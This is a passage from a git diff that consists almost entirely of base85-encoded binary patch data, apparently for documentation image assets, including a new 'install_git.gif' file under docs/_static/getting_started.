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 literal 0 HcmV?d00001 diff --git a/docs/_static/getting_started/install_git.gif b/docs/_static/getting_started/install_git.gif new file mode 100644 index 0000000000000000000000000000000000000000..8f4961d29c0125e88729c03bc9fa2256009fa423 GIT binary patch literal 113331 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 